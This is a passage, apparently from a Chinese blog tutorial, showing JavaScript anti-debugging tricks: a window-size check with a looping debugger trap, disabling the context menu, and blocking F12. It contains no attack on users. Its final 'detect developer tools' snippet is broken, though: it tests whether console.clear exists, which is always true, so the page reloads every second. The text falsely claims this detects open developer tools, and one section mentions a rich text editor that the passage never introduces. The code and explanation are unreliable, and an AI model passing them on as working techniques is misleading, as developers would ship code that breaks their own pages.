20
(() => {
function block() {
if (
window.outerHeight - window.innerHeight > 200 ||
window.outerWidth - window.innerWidth > 200
) {
document.body.innerHTML = "检测到非法调试,请关闭后刷新重试!";
}
setInterval(() => {
(function () {
return false;
})
["constructor"]("debugger")
["call"]();
}, 50);
}
try {
block();
} catch (err) {}
})();

其他防调试技术

除此之外,我们还可以通过【禁止右键菜单】、【禁止 F12 快捷键】、【检测开发者工具】等手段来禁止调试。

禁止右键菜单

禁止右键菜单是目前比较常见的一种禁止调试的方法,因为浏览器默认右键菜单是可以调出开发者工具的。可以通过以下 JS 代码实现:

1
2
3
document.oncontextmenu = function () {
return false;
};

这样一来,当用户在富文本编辑器的区域内右键时,就不会弹出菜单,从而避免了用户调出开发者工具的情况。

禁止 F12 快捷键

F12 快捷键是打开开发者工具的常用快捷键,禁止这个快捷键也是一种禁止调试的方法。可以通过以下 JS 代码实现:

1
2
3
4
5
document.onkeydown = function (e) {
if (e.keyCode === 123) {
return false;
}
};

这样一来,当用户按下 F12 键时,就会被拦截,从而避免了用户打开开发者工具的情况。

检测开发者工具

还有一种方法是通过检测开发者工具是否打开来实现禁止调试的目的,可以通过以下 JS 代码实现:

1
2
3
4
5
setInterval(function () {
if (typeof console.clear !== "undefined") {
location.reload();
}
}, 1000);

这段代码会每隔 1 秒检测一次当前页面是否打开了开发者工具,如果发现开发者工具已经打开,则会刷新当前页面,从而避免用户使用开发者工具对页面进行调试。